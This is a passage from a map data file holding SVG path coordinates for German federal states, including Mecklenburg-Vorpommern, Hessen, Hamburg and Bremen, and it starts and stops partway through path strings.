6.63,-0.53 1,-2.85 -1.94,-5.58 -2.55,-8.38 -0.35,-2.68 -2.75,-3.1 -4.67,-3.53 -0.88,-2.07 -1.59,-4.78 -0.56,-6.72 -5.56,-1.98 -11.61,-0.89 -17.16,0.47 -4.67,-1.16 -9.01,2.41 -13.75,2.56 -2.64,-2.27 -6.36,-1.45 -9.63,-2 -6.44,-0.16 -11.29,4.48 -15.23,9 -2.96,1.82 0.86,2.65 1.75,4.06 2.29,2.26 -1.66,3.67 -2.74,5.44 -1.44,-2.96 -5.14,-3.8 -4.27,0.54 -0.65,3.9 -0.71,8.05 -1.52,11.83 -1.87,1.87 0.95,4.14 2.97,3.58 5.28,0.29 10.96,-0.24 15.72,2.42 -2.08,0.69 -5.45,-0.97 -5.28,2.53 -1.3,3.55 -0.88,7.6 -1.89,11.2 -1.02,2.31 -3.53,5.58 -0.77,7.39 -1.04,4.96 1.43,10.17 -1.09,14.86 -1.44,6.42 -8.35,10.37 -8.34,17.29 -0.73,5.37 -0.65,11.06 -2.02,16.22 -1.54,2.43 -4.12,-1.19 -6.18,-0.78 -4.31,-0.59 -8.85,-1.62 -13.15,-0.5 -3.28,1.5 -0.59,5.19 -1.65,7.89 0.05,2.71 -1.96,5.6 -1.13,7.99 3.96,3.35 9.48,3.72 14.25,5.18 1.32,-0.55 1.98,-4.64 3.66,-2.59 1.6,4.04 5.43,7.78 4.44,12.38 -1.84,2.71 -4.41,6.49 -1.89,9.57 1.86,2.89 3.08,-1.11 5.12,-1.16 3.32,-0.74 7.21,1.07 10.28,0.08 0.77,-2.08 3.82,-0.65 4.33,-3.02 3.95,-3.24 8.34,-6.11 13.06,-8 3.49,-2.99 -0.93,-3.55 0.23,-6.31 0.69,-1.71 1.95,-4.41 4.07,-2.55 2.19,0.59 4.44,1.49 4.69,4.05 0.24,3.46 3.25,4.66 5.87,6.2 2.49,1.33 5.1,-2.32 7.3,0.36 2.1,0.86 2.8,3.79 2.88,5.66 -2.14,1.36 -2.99,3.7 -0.25,5 -2.47,1.24 -2.71,4.41 -4.06,6.59 -0.13,3.3 3.86,2.19 5.28,4.24 1.61,1.34 2.29,6.23 -0.56,6.24 -2.12,1.03 -7.72,1.03 -4.44,4.18 0.32,1.52 3.77,3.35 4.41,1.19 1.64,-2.26 4.29,-2.15 6.63,-1.31 1.36,-0.07 3.99,-1.2 5.52,-2.37 2.72,-1.18 4.39,-5.59 7.79,-3.97 1.75,0 5.6,2.6 5.94,0.72 0.62,-2.2 3.26,-3.09 5.19,-3.63 2.15,-1.43 1.31,-2.65 -0.91,-2.81 -3.46,-2.11 -0.12,-6.05 -0.14,-8.9 -0.15,-3.52 0.05,-8 -3.58,-9.88 -2.14,-2.11 -6.14,-3.08 -5.9,-6.7 -1.51,-2.43 0.6,-3.29 2.77,-2.04 1.45,1.42 4.2,1.38 5.98,0.03 1.26,-1.81 0.54,-4.61 3.46,-5.43 2.32,-1.11 5.18,2.05 7.68,-1.07 2.13,-2.24 4.04,-0.2 5.66,1.43 0.57,2.57 -0.21,5.4 0.22,8.09 -0.93,3.21 1.85,4.85 4.75,4.17 3.21,-0.08 7.22,0.09 9.7,-1.99 2.54,-2.97 4.51,-6.31 6.89,-9.36 2.02,0.69 5.86,0.77 5.97,3.44 -1.73,2.35 -1.52,4.54 -0.97,7.06 -1.39,2.86 -2.39,6.91 -6.2,7.13 -2.4,1.05 -3.91,4.28 -3.71,6.63 1.97,1.04 4.71,1.6 6.53,3.33 0.07,1.63 -1.12,5.59 -2.84,6.05 -3.41,-0.73 1.6,2.55 2.84,3.1 2.26,0.15 6.09,0.95 5.15,4.09 -0.68,1.53 3.99,3.73 1.27,4.76 -0.76,2.74 -0.13,6 0.12,8.84 1.43,2.32 4.36,3.6 6.57,5.25 3.31,-0.99 4.48,3.42 3.35,5.85 0.3,0.17 2.48,-0.22 3.34,0.68 2.41,1.16 3.09,3.45 2.56,5.97 -2.13,4.96 -3.82,10.38 -3.75,15.72 2.51,0.18 4.77,-1.21 7.34,-1.06 0.61,1.51 -0.65,3.85 2.25,3.24 3.59,-0.55 6.83,1.47 9.03,4.14 1.86,0.23 1.58,3.6 -0.22,2.84 -1.35,2.17 -4.02,2.06 -5.22,4.59 1.78,2.73 3.46,5.34 3.51,8.74 1.02,2.35 -1.28,3.79 -3.38,3.42 -2.32,0.54 -3.56,5.32 -0.53,5.96 3.22,1.18 6.33,2.54 9.36,4.13 4.29,-2.82 0.47,-2.05 -1.06,-3.89 -2.77,-2.53 1.66,-4.59 3.28,-6.24 2.15,-2.54 5.98,-1.9 8.84,-2.34 2.08,1.35 1.61,5.72 4.21,2.64 3.91,-2.4 7.72,-5.21 12.48,-5.45 3.97,-2.72 8.84,-4.93 11.78,-8.85 1.12,-1.78 0.33,-3.88 2.39,-5.63 3.16,-1.67 6.79,0.6 8.47,3.25 2.88,-0.58 7.14,-0.26 7.76,-3.87 -0.05,-2.88 3.65,-4.47 1.75,-6.24 -1.57,-2.46 -0.32,-5.67 -2.8,-7.78 -1.09,-2.4 -4.13,-3.43 -3.79,-6.44 -0.16,-2.66 -0.99,-6.17 2.11,-7.49 1.53,-0.76 3.52,-2.56 1.95,-4.3 -2.69,0.07 -2.43,-3.84 -0.41,-4.53 -1.85,-1.14 -5.14,-4 -4.75,-5.49 2.09,-0.39 4.95,0.22 5.97,-2.13 -0.9,-2.87 3.5,-2.65 5.41,-2.71 2.87,-0.48 6.16,1.13 8.63,-0.98 1.86,-0.84 5.77,1.14 5.58,-1.56 -0.39,-2.88 1.81,-4.27 3.9,-5.7 0.91,-0.47 3.07,-3.7 1.17,-3.53 -3.44,0 -2.76,-5.19 0.13,-5.66 3.82,-0.08 0.19,-3.6 -1.09,-4.81 -2.24,-1.37 -1.88,-4.21 -1.94,-6.38 0.35,-2.73 4.31,-1.12 3.91,-4.03 -1.37,-1.84 -4.07,-2.33 -5.04,-4.76 -1.41,-2.15 -5.08,-4.85 -2.74,-7.55 3.42,-1.12 3.06,-1.7 0.77,-4.08 -1.69,-1.79 -1.55,-4.29 -1.69,-6.46 -2.28,-4.45 -4.68,-9.22 -8.86,-12.09 -1.05,-3.33 -3.02,-6.48 -2.57,-9.99 -0.32,-2.09 0.44,-4.42 2.92,-4.26 2.85,-1.12 6.27,-0.08 8.93,-1.09 1.55,-1.38 2.76,-2.68 2.6,-4.79 1.69,-2.11 5.13,-0.16 7.46,-0.64 2.96,0.35 7.54,-0.38 8.88,2.86 3.56,1.21 6.67,-1.39 9.63,-2.75 1.37,-1.79 3.07,-3.85 5.5,-3.97 -1.07,-2.07 -0.03,-4.66 0.75,-6.72 2.37,0.04 3.51,1.16 4.74,-2.15 -3.03,-0.57 -6.18,-1.13 -7.93,-4.01 -2.99,-1.28 -5.04,3.32 -7.81,2.09 -1.68,-2.2 -4.97,-3.78 -4.59,-6.94 -1.58,-2.26 -4.54,-2.52 -6.84,-3.72 3.01,-0.21 2.65,-3.1 -0.2,-2.77 -6.07,-2.31 -7.72,-9.29 -10.33,-14.6 -2.42,-1.1 -4.9,-1.16 -5.92,1.34 -1.84,1.96 -4.18,1.97 -6.29,0.43 -2.67,-1.78 -3.79,-6.4 -7.79,-5.36 -2.51,-0.77 -4.24,2.4 -6.66,0.76 -4.42,-0.95 -7.78,-4.07 -12.05,-5.47 -1.87,-1.32 -3.8,-1.77 -5.52,0.17 -0.27,2.44 -2.51,2.71 -4.5,2.22 -3.65,-0.29 -5.04,-4.84 -7.84,-6.5 -1.55,0.25 -1.89,4.05 -4.47,4.49 -2.08,0.15 -3.58,-2.52 -5.1,-3.8 -1.02,-1.09 -2.8,3.74 -4.07,0.89 -2.45,-1.59 -2.98,-4.24 -4.53,-6.41 -0.49,-1.9 1.56,-6.03 -2.15,-5.31 -4.45,-0.29 -7.84,-3.81 -11.28,-6.28 -1.97,-2.7 -0.94,-6.7 -3.64,-9.09 -3.37,-1.87 -5.18,-5.18 -6.46,-8.69 -1.64,-4.08 -4.33,-8.01 -8.9,-9 -3.99,-0.41 -8.13,-0.36 -12.15,-0.37 -3.37,0.14 1.11,4.61 0.44,4.78 -2.24,-0.97 -4.59,-0.85 -6.63,0.19 -3.12,0.32 -6.61,0.16 -9.54,-0.98 -2.08,-1.54 -4.86,-2.91 -5.69,-5.53l-0.44,0.03z m-49.34,8.94c-0.03,1.09 0.83,-0.73 0,0z m-9.69,0.88c-1.79,0.64 -2,2.84 -0.28,0.69 1.15,0.39 7.48,0.12 5.09,-0.5 -1.6,-0.1 -3.21,-0.36 -4.81,-0.19z m18.53,1.06c0.45,3.21 0.81,1.46 0,0z m-31.41,1c-2.03,0.59 -1.28,4.28 0.3,1.19 1.64,-1.6 4.48,-0.97 6.64,-1.09 -2.3,-0.17 -4.65,-0.31 -6.94,-0.09z M108.19,134.75c-2.3,1.14 5.75,0.85 0.38,-0.03 -0.12,0.04 -0.27,-0.05 -0.38,0.03z m-12.13,0.84c-3.52,0.44 -2.54,2.25 0.41,1.38 2.85,-0.48 5.82,-0.48 8.59,-1.28 -2.97,-0.23 -6.02,-0.18 -9,-0.09z m-32.28,11.06c-1.1,1.27 2.99,3.13 2.5,3.16 1.33,-1.35 0.17,-2.16 3.86,-2.62 3.23,0.07 0.14,-2.1 -1.3,-2.1 -1.69,0.52 -3.38,1.04 -5.06,1.56z M174.25,186.75c0.36,2.67 4.51,2.84 6.35,4.51 3.41,1.6 7.66,0.4 10.79,2.95 3.11,1.84 7.08,3.66 10.49,1.79 1.4,0.19 3.63,2.7 2.89,3.67 -2.99,0.4 -0.11,3.94 -0.78,6.22 0.86,2.85 -2.01,3.95 -3.7,5.61 -3.46,-0.92 -6.93,-3.62 -10.57,-2.86 -2.23,0.9 -3.13,-2.21 -2.65,-3.92 -0.64,-2.4 -4,-3.06 -3.74,-5.78 -0.67,-2.42 -1.42,-4.7 -4.2,-4.81 -3.28,-1.01 -7.24,-4.77 -5.34,-8.44 0.16,0.35 0.31,0.71 0.47,1.06z","name":"Niedersachsen"},"mv":{"path":"m468.38,35.5c-3.45,0.91 -7.31,1.41 -8.93,5.06 -0.26,1.49 -3.68,7.61 -2.06,6.34 1.83,-1.19 3.02,-3.21 2.21,-5.18 0.53,-1.31 3.04,-4.63 4,-2.16 0.98,2.93 -2.17,4.94 -1.91,7.78 2.5,-1.15 4.75,-3.34 7.37,-1.07 2.42,1.29 5.16,2.48 7.7,0.7 1.54,0.46 0.47,5.05 0.71,7.19 0.58,3.31 -4.03,1.68 -5.65,1 -1.59,-1.22 -4.83,-1.69 -5.19,-3.75 1.7,-4.11 -3.26,-1.94 -5.53,-2.31 -2.04,0.6 -6.23,0.55 -4.31,3.72 1.26,1.16 4.35,-0.42 5.38,2.04 2.76,1.44 -0.43,4.39 -2.54,4.37 -2.75,-0.56 -4.74,4.2 -0.71,3.48 2.64,0.57 6.65,0.82 2.18,2.56 -1.86,1.21 -4.55,1.66 -6,3.25 -1.1,2.82 0.47,5.48 1.28,8.13 5.01,1.69 10.02,3.38 15.03,5.06 2.12,-0.23 1.09,-3.14 0.16,-2.97 -0.76,1.88 -3.98,1.99 -3.25,-0.63 2.8,-3.12 5.65,-6.81 9.31,-9 3.6,-0.24 7.24,-1.3 10.81,-1.09 1.21,1.32 2.75,4.02 0.25,4.94 -1.68,2.68 3.83,-2.34 2.14,-4.14 -1.15,-2.6 -3.19,-5.78 -6.42,-4.67 -2.75,-1.52 -4.42,-5.28 -3.91,-8.38 1.26,-2.37 3.94,-3.83 5.78,-5.54 1.61,-2.97 -1.68,-6.36 -4.75,-5.02 -3.75,0.66 -8.71,3.63 -11.63,-0.19 -1.83,-1.92 -3.2,-6.71 0.31,-7.56 2.78,-1.63 0.58,-2.73 -1.84,-1.94z m-11.72,12.09c-0.08,-0.04 -0.09,0.18 0,0z m-4.56,2.28c1.4,-3.26 1.29,-4.92 0.11,-0.61l-0.09,0.49 -0.02,0.12z M457,55.72c-1,0.46 -3.54,5.14 -1.38,3.6 1.48,-0.87 6.21,-2.64 2.44,-3.69 -0.36,-0.17 -0.71,0.02 -1.06,0.09z m-41.09,7c-0.25,1.57 -4.9,6.97 -0.87,4.76 3.72,-1.22 7.4,-2.58 10.67,-4.69 2.93,-0.95 5.29,-0.58 1.12,-0.91 -3,-0.7 -6.71,0.09 -8.98,-2.44 -0.65,1.09 -1.29,2.19 -1.94,3.28z m31.25,-1.97c0.11,0.78 4.7,-2.13 0,0z m-5.81,0.66c-3.54,0.47 -7.66,0.41 -10.88,0.66 0.67,2.11 2.68,1.92 4.62,1.67 3.01,-0.17 6.3,-0.07 8.66,-2.29 -0.79,-0.19 -1.6,-0.03 -2.41,-0.03z m1.56,3.03c-2.88,1.13 -1.21,5.18 -4.19,6.34 -3.6,2.14 -6.72,-2.29 -10.47,-2.06 -3.01,-0.89 -5.76,1.74 -8.35,3.01 -2.71,2.18 -6.52,4.43 -7.27,7.96 0.18,1.51 4.13,0.67 2.84,2.66 -2.29,1.22 -5.24,-0.3 -6.59,-2.13 -0.64,-1.13 1.18,-6.54 -0.53,-3.19 -3.22,4.08 -9.79,4.87 -11.29,10.52 -1.07,2.64 -1.85,5.58 -5.3,3.89 -4.59,-1.7 -8.52,1.77 -12.84,2.72 -3.31,0.47 -6.17,-1.62 -9.5,-0.72 -2.97,1.63 -5.73,4.31 -8.33,6.62 -1.96,2.01 -2.68,5.33 -0.14,1.47 1.06,-1.2 2.41,-4.78 4.19,-3.41 2.37,2.62 -1.24,5.31 -2.34,7.63 -1.89,1.4 -5.07,1.98 -4.85,5.06 -0.11,3.13 -0.5,6.25 -2.62,8.72 -1.16,-0.88 -3.68,-1.23 -3.47,-3.09 -1.92,-1.17 -4.21,-1.95 -5.89,0 -2.35,1.65 -4.97,-1.81 -3.77,-4.13 -1.91,-1.96 -3.3,-5.2 -6.59,-3.87 -5.1,-0.35 -9.02,3.11 -13.04,5.78 1.53,2.15 0.81,6.74 -2.56,5.38 -2.64,1.41 -7.07,3.37 -6.72,7.09 1.31,2.5 2.06,5.12 1.15,7.92 0.24,2.24 3.08,3.96 4.95,5.27 1.49,-0.13 2.88,-0.94 4.38,0.28 1.77,1.48 2.91,4.8 1.54,6.72 -1.07,2.51 -1.74,5.18 -3.94,7.19 -3.45,4.41 -6.57,9.53 -11.63,12.13 -2.85,-1.67 -4.12,1.25 -4.21,3.8 -1.04,3.05 -1.35,4.72 2.28,3.81 4.38,-1.22 5.62,3.97 8.63,5.73 2.06,1.71 4.79,0.13 5.56,-2.03 1.66,-2.26 4.66,-0.28 6.53,0.28 2.66,5.4 4.35,13.11 11.13,14.56 1.97,-0.26 2.54,2.31 1.09,3.34 1.98,0.75 4.2,1.46 5.28,3.41 2.92,0.33 5.86,0.78 7.88,-1.84 2.53,-1.04 4.17,0.11 6.2,0.92 3.41,1.17 3.57,-3.72 2.91,-5.91 -1.19,-2.85 2.75,-4.04 4.19,-5.91 2.26,-0.57 6.06,-0.68 6.92,2.18 2.22,-0.82 7.58,-0.29 4.18,-3.52 1.89,-0.52 5.64,-0.7 8.01,-2.08 1.84,-1.16 5.37,-2.23 4.75,-4.82 0.89,-1.93 2.17,-4.64 4.7,-3.27 2.88,0.17 5.85,-1.68 8.79,-1.42 2.69,2.85 6.38,3.54 9.59,5.47 2.1,1.42 2.54,5.89 5.86,4.62 1.42,-1.54 4.52,-1.23 6.97,-0.84 2.64,0.11 5.42,0.12 6.99,2.65 1.76,1.23 2.9,3.74 4.81,4.36 3.51,-2.08 7.9,-1.79 11.85,-1.57 1.87,0.92 -0.02,2.26 -1.2,2.88 2.73,2.02 3.96,-3.02 6.01,-4.14 1.85,-2.5 5.05,-5.4 8.21,-4.51 0.4,1.63 2.6,4.73 2.69,1.53 -0.18,-4.03 4.85,-6.14 8.16,-4.72 0.92,1.02 1.13,4.66 2.78,2.25 1.94,-2.52 5.64,-4.66 5.83,-7.92 -0.98,-3.87 1.53,-7.87 4.55,-10.15 2.94,-2.19 5.03,-6.55 9.2,-6.14 3.13,-1.46 0.88,-2.47 0.94,-4.94 -0.47,-2.01 1.66,-5.18 3.04,-2.12 2.09,2.5 4.8,4.66 5.08,8.15 0.55,3.39 3.31,3.78 6.08,2.65 2.41,-0.3 6.44,1.78 7.55,-1.21 2.62,0.79 6.91,-0.99 8.25,2.06 1.49,6.11 -3.45,10.78 -7.19,14.78 -1.98,3.1 3.33,1.46 5.03,1.98 3.6,0.68 6.06,-2.53 6.41,-5.79 1,-1.79 6.72,-1.16 5.01,-3.95 -1.75,-4.35 -2.83,-9 -3.99,-13.46 -2.18,-2.83 -4,-6.6 -2.87,-10.22 -0.22,-5.43 -3.03,-10.29 -3.44,-15.72 -0.42,-2.28 -2.57,-2.04 -3.28,-0.22 -1.81,2.36 -5.39,1.17 -7.84,0.59 -3.37,-1.38 -7.23,-1.87 -9.74,-4.72 -2.44,-2.52 -7.36,-2.95 -8.1,-6.78 1.68,-2.2 3.24,-5.36 5.94,-6.13 0.44,-2.04 -2.63,-3.55 -3.67,-5.18 -2.27,-2.24 -3.02,-5.61 -4.55,-8.32 0.21,-2.8 0.27,-5.88 -2.37,-7.5 -1.78,-3.54 -4.86,-2.15 -7.78,-0.99 -2.53,1.08 -5.51,1.39 -7.79,2.9 0.14,1.21 2.98,3.43 0.56,3.84 -3.2,0.18 -3.78,-3.49 -4.59,-5.69 -0.99,-1.26 -3.18,1.08 -3.03,-1.66 3.36,-2.44 -2.45,-0.94 -3.09,-2.5 -1.56,-2.33 -1.97,-5.95 -5.39,-6.49 -2.15,-2.65 -4.68,-0.2 -6.44,-0.76 -2.83,-2.27 -3.42,-6.13 -4.17,-9.38 1.49,-2.52 -2.16,-5.5 -3.62,-7.17 -1.75,-0.48 -3.25,0.75 -4.88,1.21z m52.69,22.19c-3.16,0.36 -1.48,4.22 0.37,5.25 1.73,2.04 0.07,5.76 2.48,7.75 1.23,2.84 2.71,4.73 5.49,2.07 1.56,-1.43 -2.24,-3.39 -0.78,-5.26 2.84,0.22 4.58,0.55 1.09,-0.38 -3.78,-1.63 -6.46,-4.91 -7.63,-8.84 -0.21,-0.29 -0.58,-0.78 -1.03,-0.59z M508.81,98.25c2.29,2.13 4.59,4.76 3.68,8.19 1.29,3.82 -2.55,2.56 -4.59,1.72 -1.01,-1.74 -1.1,-5.02 -3.97,-3.22 -1.8,2.49 2.15,3.83 2.07,6.36 1.37,2.89 -1.67,5.12 -4.12,5.88 -2.51,0.31 -1.55,2.32 0.67,2.35 4.16,0.13 7.86,-2 11.53,-3.58 2.18,-0.69 5.82,0.22 7.3,-1.22 1.43,-3.32 1.05,-6.01 -2.4,-7.65 -4.01,-3.08 -7.07,-7.49 -11.49,-9.99 0.44,0.39 0.88,0.77 1.31,1.16z m-153.22,8.91c-2.07,0.65 -6.19,2.56 -3.84,5.09 3.14,1.72 4.9,-0.57 5.38,-3.56 0.63,-1.6 0.03,-1.86 -1.53,-1.53z","name":"Mecklenburg-Vorpommern"},"he":{"path":"m231.91,351.28c-2.52,4.22 -6.22,7.61 -8.38,12.09 -3.47,2.99 -7.81,5.31 -10.28,9.09 -2.28,0.4 -5.74,0.13 -5.5,-3 2,-3.26 -3.47,-5.21 -5.91,-3.76 -1.41,0.82 -5.95,0.93 -4.65,3.28 0.64,2.39 3.13,3.23 3.37,5.4 0.17,2.42 -1.34,4.44 -3.94,3.29 -5.15,-0.39 -10.41,1.05 -14.95,3.35 -3.17,1.4 -4.72,4.59 -6.61,7.28 0.84,1.05 2.01,4.06 3.59,2.09 2.37,-0.9 6.57,-4.19 7.88,-0.28 0.22,4.19 2.13,8.77 -0.72,12.51 -0.71,2.75 -2.31,4.62 -5.22,4.99 -3.14,-0.43 -7.52,-2.41 -9.63,1.09 0.39,2.15 1.85,4.24 2.13,6.19 -1,1.73 -3.4,2.91 -4,4.63 3.11,2.85 -2.97,-1.27 -1.76,3.31 -1.97,2.72 -3.4,6.11 -5.96,8.25 -2.51,0.68 -5.22,-4.25 -7.23,-1.05 -2.7,2.64 -5.41,5.28 -8.11,7.92 0.49,2.48 3.93,4.74 1.63,7.26 -0.76,2.71 -4.3,4.36 -2.78,7.49 -0.8,2.92 2.77,3.49 2.12,5.75 -1.13,1.85 -1.06,5.6 -3.44,5.9 -1.97,0.22 -2.63,-1.53 -4.06,-2.13 -2.8,1.41 -5.48,6.02 -2.56,8.66 -0.49,2.46 -3.67,5.82 0.27,6.82 3.67,1.53 5.25,5.3 6.61,8.75 0.92,2.04 1.08,4.85 -1.7,5.37 -1.07,-0.93 -5.7,-1.33 -3.5,1.11 2.47,0.99 0.89,3.49 -1,3.99 -2.32,-1.08 -4.25,-1.29 -6.55,0.33 -2.11,0.73 -3.8,3.88 -1.08,4.86 2.02,1.08 1.39,4.09 0.28,5.59 -2.84,-2.01 -4.64,0.94 -6.72,2.5 -3.14,0.7 -2.62,2.78 -0.67,4.69 1.7,1.7 2.49,4.75 4.7,5.72 7.32,0.54 13.26,-4.85 20.19,-5.97 3.41,-0.25 5.55,2.38 7.21,4.9 2.7,2.09 3.72,5.69 3.75,8.95 -2.21,2.91 0.93,6.19 1.75,9.06 1.22,3.02 5.3,4.54 4.69,8.16 -0.83,2.19 -2.69,3.5 -5.03,3.69 -3.67,1.29 -0.58,5.33 -0.19,7.78 1.19,1.23 1.73,4.58 3.56,3.47 2.87,-0.09 4.72,3.15 6.02,5.29 0.45,2.46 3.64,2.83 4.61,0.44 0.84,-1.91 -0.18,-4.52 -1.35,-5.64 -0.49,-3.07 3.89,-2.29 5.74,-3.3 2.12,-0.86 2.95,1.54 1.33,2.77 -0.13,1.19 0.36,6.2 2.44,7.44 3.73,1.71 7.96,2.48 12.06,2.41 0.3,2.37 -0.95,4.21 -3.22,5.14 -2.12,0.41 -4.13,4.05 -2.97,5.83 3.16,0.98 4.62,-3.02 6.97,-4.37 2.62,-1.23 -1.27,-2.95 1.23,-4.7 1.83,-3.04 5.68,-3.23 8.67,-4.31 2.07,1.28 4.67,2.3 1.65,-0.28 -2.77,-0.69 1.28,-2 0.17,-4.09 -1.83,-2.61 0.09,-5.95 0,-8.84 0.67,-3.72 4.45,-6.62 2.87,-10.6 0.27,-3.23 -3.17,-2.82 -4.5,-5.35 -1.88,-1.31 -2.94,-3.09 -2.59,-5.43 1.25,-0.49 -0.57,-3.68 -0.1,-5.19 -0.37,-2.39 0.26,-5.26 -1.15,-7.31 2.19,-0.29 2.3,-4.03 0.75,-4.91 -3.55,0.11 -2.06,-3.18 -1.51,-5.43 1.26,-3.72 6.02,-2.87 8.99,-4.29 3.44,-0.94 6.85,-2.48 10.38,-0.98 2.53,1.03 6.93,-0.17 7.36,3.51 0.22,3.77 3.72,2.22 6.1,1.81 3.18,-0.12 0.4,-3.63 0.68,-5.44 -0.84,-3.13 -0.37,-6.51 1.38,-9.24 2.02,0.57 4.63,1.89 6.47,0.94 0.86,-2.28 1.78,-5.61 4.88,-5.28 3,-1.1 4.77,-5.15 2.22,-7.63 2.46,-1.43 0.46,-5.9 4.2,-5.65 2.35,-1.65 4.24,2.19 6.72,0.64 3.67,-2.12 7.61,-4.88 9.17,-8.99 0.87,-4.15 -0.43,-8.59 0.34,-12.69 1.59,-1.67 2.87,-3.11 0.88,-5.25 -1.95,-0.3 -4.67,-0.51 -5.91,1.03 2.68,1.72 0.06,4.83 -2.4,3.41 -3.4,0.47 -3.73,-2.19 -3.1,-4.85 1.64,-2.54 4.97,-5.54 3.53,-8.77 -2.61,-1.88 3.02,-1.21 0.62,-3.76 -0.39,-2.4 1.7,-5.24 4.25,-4.19 2.32,-0.16 2.52,-3.78 3.13,-5.59 -0.42,-3.72 -1.44,-7.39 -2.41,-10.94 0.58,-3.37 4.7,-2.07 6.91,-1.42 1.33,1.43 3.54,1.27 4.93,0.14 1.65,-2.01 -0.8,-4 -2.88,-4.28 -0.73,-2.4 -0.28,-5.7 -2.15,-8.05 -1.81,-2.17 3.2,-3.84 4.13,-1.92 0.85,2.09 2.04,3.15 0.8,0.19 -0.79,-1.77 1.55,-2.57 1.81,-3.75 -2.16,-0.34 -3.1,-3.03 -5.47,-3.13 -2.41,-1.32 -5.66,-1.92 -5.69,-5.28 -2.73,-1.26 -6.43,-1.62 -7.14,-5.14 -0.93,-2.28 -2.35,-5.29 -0.96,-7.39 -0.41,-3.77 -4.2,-2.41 -6.91,-2.04 -2.44,0.91 -4.65,3.07 -6.27,5.16 0.26,3.75 3.81,-0.17 4,2.53 0.6,2.43 -1.31,3.7 -3.35,4.44 -2.57,-2.31 -6.46,-3.25 -9.7,-4.62 -2.11,-0.64 -2.73,-3.33 -1.64,-5.16 0.52,-2.33 2.7,-3.11 4.88,-2.75 1.13,-2.01 -0.13,-5.09 -0.97,-7.03 -0.84,-1.85 -3.71,-4.21 -0.9,-5.87 1.12,-2.04 3.33,-1.71 4.5,-3.66 2.57,-0.35 -1.93,-2.01 -2.09,-3.38 -2.42,-2.04 -5.4,-1.51 -8.28,-1.84 -2.56,-0.15 0.13,-3.78 -1.82,-2.9 -0.65,0.13 -1.3,0.26 -1.96,0.4z m48.47,53.75c-0.2,0.03 0.16,0.35 0,0z","name":"Hessen"},"hh":{"path":"m273.31,139.16c-1.5,1.09 -0.93,4.3 -3.67,5.06 -1.61,1.47 -3.71,3.26 -5.89,1.85 -2.33,-0.78 -1.81,2.21 -3.43,3.24 -1.3,1.52 -3.26,5.5 -5.37,2.78 -1.64,-2.73 -2.78,-2.89 -3.11,0.48 -1.95,3.52 3.88,1.56 2.16,5.63 -0.89,2.25 0.93,3.48 1.47,5.56 1.11,1.96 3.5,5.01 5.03,1.63 1.82,-0.66 3.1,2.78 4.87,3.63 1.74,1.19 3.59,-1.92 4.1,-3.57 1.25,-2.32 3.61,0.86 4.66,2.15 1.9,2.2 3.93,4.76 7.21,3.97 1.13,-0.62 1.01,-2.97 2.91,-3.07 2.93,-1.45 -2.65,-3.59 -2.97,-5.78 -1.42,-2.02 -5.31,-2.65 -5.35,-5.94 -0.83,-2.64 0.75,-4.88 3,-6.12 2.02,-2.17 0.93,-4.31 -0.94,-5.97 0.01,-2.33 -0.49,-4.73 0.53,-6.88 -1.59,-1.66 -3.52,1.07 -5.22,1.34z","name":"Hamburg"},"hb":{"path":"m177.13,149.91c-1.02,1.81 2,3.93 2.44,6 0.78,1.49 -1.36,2.66 0.47,3.7 0.36,2.05 1.77,2.73 3.27,0.5 2.31,-1.97 -1.15,-5.18 0.62,-7.7 1.79,-3.68 -3.69,-1.91 -5.73,-2.54 -0.36,-0.05 -0.71,0.02 -1.07,0.05z m-2.34,39.47c1.3,3.24 5.12,3.63 7.78,4.94 1.52,2.61 1.31,5.93 3.86,7.69 2.1,1.22 1.38,3.71 2.04,5.46 1.64,0.31 3.99,-0.68 5.77,0.73 2.5,0.16 5.45,3.63 7.38,0.87 2.63,-1.56 0.74,-5.04 0.98,-7.51 -2.78,-1.97 1.76,-2.01 0.87,-3.11 -1.26,-2.73 -3.93,0.26 -6.25,-0.86 -4.35,-0.36 -7.69,-4.63 -12.29,-4.36 -3.91,0.3 -6.92,-2.67 -10.15,-3.86z","name":"Bremen"},"bb":{"path":"m499.25,149.81c-0.84,1.88 -0.81,4.34 1.28,5.34 -1.74,2.06 -3.79,3.29 -6.37,3.46 -3.18,2.74 -6.61,5.55 -9.05,8.91 -1.36,2.25 -1.54,4.68 -0.87,7.16 -2.28,3.16 -4.83,6.45 -8.06,8.63 -2.41,-0.12 -1.19,-4.5 -3.97,-3.53 -3,-0.61 -5.44,2.28 -5,5.15 -0.4,2.7 -4.01,1.19 -3.97,-1.02 -0.57,-1.97 -3.52,0.03 -4.56,0.75 -2.74,2.49 -4.73,6.13 -7.88,8 -1.99,-0.23 -3.86,-2.04 -1.25,-3.16 1.45,-1.47 -4.76,-0.14 -6.18,-0.46 -2.13,-0.19 -5.04,3.22 -6.6,0.49 -2.73,-2.51 -5.01,-6.52 -9.27,-5.91 -2.13,0.04 -5.13,-1.3 -6.45,0.69 -2.87,1.21 -4.79,-0.3 -6.25,-2.72 -1.52,-3.98 -6.92,-3.25 -9.48,-6.32 -1.8,-2.15 -4.65,0.11 -6.93,0.1 -2.38,1.26 -5.39,-1.14 -6.32,2.55 0.99,3.09 -2.96,4.01 -4.77,5.61 -2.15,1.15 -6.11,1.77 -7.27,2.46 2,2.09 -1.36,2.73 -2.94,2.85 -3.43,2.16 -3.88,-1.29 -6.73,-1.81 -3.03,-0.86 -4.57,2.1 -6.63,3.69 0.64,2.72 1.23,7.08 -1.72,8.53 -1.68,-0.03 -3.77,-0.05 -4.75,-1.47 -3.21,-0.91 -4.58,3.15 -7.53,2.47 -2.88,-1 -5.03,0.48 -2.09,2.67 1.36,1.69 3.08,4 5.08,1.55 1.94,-1.5 5.34,-2.28 6.7,0.42 1.5,2.04 4.32,1.65 6.53,2.39 1.23,-1.43 4.73,-0.25 2.95,1.62 -1.67,1.72 2.21,2.59 2.91,3.81 1.43,1.12 2.93,-2.01 4.58,-0.33 1.76,1.64 5.48,1.89 6.03,4.47 0.12,1.23 -2.72,2.23 -0.94,3.16 4.27,1.68 8.68,4.08 13.38,2.66 2.5,1.2 6.82,-4.08 4.61,0.18 -0.35,3.68 2.96,0.6 4.61,0.47 3.29,0.55 2.92,4.31 3.72,6.78 0.37,2.84 -3.59,3.22 -2.84,6.46 -1.66,3.81 3.69,5.99 2.3,9.81 0.77,2.86 -2.32,3.27 -3.45,4.66 -0.54,2.65 -2.13,5.71 -1.65,8.26 0.83,2.24 4.39,3.7 4.36,0.28 2.12,1.42 6.84,0.74 6.61,4.02 1.02,3.09 -2.67,5.39 -1.23,8.53 0.24,2.83 1.88,6.06 -0.69,8.26 -2.05,3.4 -2.35,7.41 -1.88,11.28 -2.17,2.79 -1.48,5.22 1.03,7.44 